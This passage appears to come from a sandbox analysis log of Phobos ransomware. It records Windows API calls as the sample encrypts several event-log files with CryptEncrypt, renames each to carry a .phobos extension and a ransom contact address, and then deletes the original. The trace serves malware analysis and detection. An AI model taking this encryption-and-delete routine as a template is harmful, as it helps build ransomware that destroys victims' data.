dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0060.248] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0060.248] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0060.248] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ceb0) returned 1 [0060.248] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0060.248] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0060.250] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0060.250] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0060.251] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cf30) returned 1 [0060.251] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0060.251] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90, dwBufLen=0x90 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90) returned 1 [0060.251] CryptDestroyKey (hKey=0x10cf30) returned 1 [0060.251] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x142, lpOverlapped=0x0) returned 1 [0060.252] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0060.252] CloseHandle (hObject=0x2e4) returned 1 [0060.252] CloseHandle (hObject=0x324) returned 1 [0060.254] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0060.255] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0060.255] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0060.255] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0060.255] CloseHandle (hObject=0x324) returned 1 [0060.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0060.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.256] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0060.256] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0060.256] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0060.256] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0060.257] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cff0) returned 1 [0060.257] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0060.257] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0060.263] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0060.264] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0060.265] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ce70) returned 1 [0060.265] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0060.265] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0060.265] CryptDestroyKey (hKey=0x10ce70) returned 1 [0060.265] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0060.265] CryptDestroyKey (hKey=0x10cff0) returned 1 [0060.265] CloseHandle (hObject=0x324) returned 1 [0060.266] CloseHandle (hObject=0x2e4) returned 1 [0060.267] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0060.269] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0060.269] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0060.269] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0060.269] CloseHandle (hObject=0x2e4) returned 1 [0060.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0060.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.269] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0060.269] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0060.269] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0060.269] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0060.271] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d1f0) returned 1 [0060.271] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0060.271] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0060.272] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0060.272] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0060.274] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d170) returned 1 [0060.274] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0060.274] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90, dwBufLen=0x90 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90) returned 1 [0060.274] CryptDestroyKey (hKey=0x10d170) returned 1 [0060.274] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x142, lpOverlapped=0x0) returned 1 [0060.274] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0060.274] CloseHandle (hObject=0x2e4) returned 1 [0060.274] CloseHandle (hObject=0x324) returned 1 [0060.276] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0060.277] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0060.277] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0060.277] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=1052672) returned 1 [0060.277] CloseHandle (hObject=0x324) returned 1 [0060.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0060.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.277] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0060.278] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0060.278] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0060.278] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0060.278] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d1f0) returned 1 [0060.278] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0060.278] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x101000, lpOverlapped=0x0) returned 1 [0061.247] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x101010, dwBufLen=0x101010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x101010) returned 1 [0061.248] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x101010, lpOverlapped=0x0) returned 1 [0061.277] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cb30) returned 1 [0061.277] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0061.277] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90, dwBufLen=0x90 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90) returned 1 [0061.277] CryptDestroyKey (hKey=0x10cb30) returned 1 [0061.277] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x142, lpOverlapped=0x0) returned 1 [0061.277] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0061.277] CloseHandle (hObject=0x324) returned 1 [0061.277] CloseHandle (hObject=0x2e4) returned 1 [0061.663] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0061.663] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0061.663] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0061.664] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0061.664] CloseHandle (hObject=0x2e4) returned 1 [0061.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0061.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.664] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0061.664] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0061.664] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0061.664] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0061.664] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cf70) returned 1 [0061.664] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0061.664] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0061.666] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0061.666] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0061.668] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d1f0) returned 1 [0061.668] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0061.668] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x70, dwBufLen=0x70 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x70) returned 1 [0061.668] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0061.668] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x122, lpOverlapped=0x0) returned 1 [0061.669] CryptDestroyKey (hKey=0x10cf70) returned 1 [0061.669] CloseHandle (hObject=0x2e4) returned 1 [0061.669] CloseHandle (hObject=0x320) returned 1 [0061.670] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0061.672] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0061.672] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0061.672] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0061.672] CloseHandle (hObject=0x320) returned 1 [0061.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0061.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.673] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0061.673] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0061.673] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0061.673] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0061.673] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ceb0) returned 1 [0061.673] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0061.673] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0061.681] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0061.681] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0061.683] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ccb0) returned 1 [0061.683] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0061.683] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0061.683] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0061.683] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0061.683] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0061.683] CloseHandle (hObject=0x320) returned 1 [0061.683] CloseHandle (hObject=0x2e4) returned 1 [0061.685] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0061.687] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0061.687] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0061.687] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0061.687] CloseHandle (hObject=0x2e4) returned 1 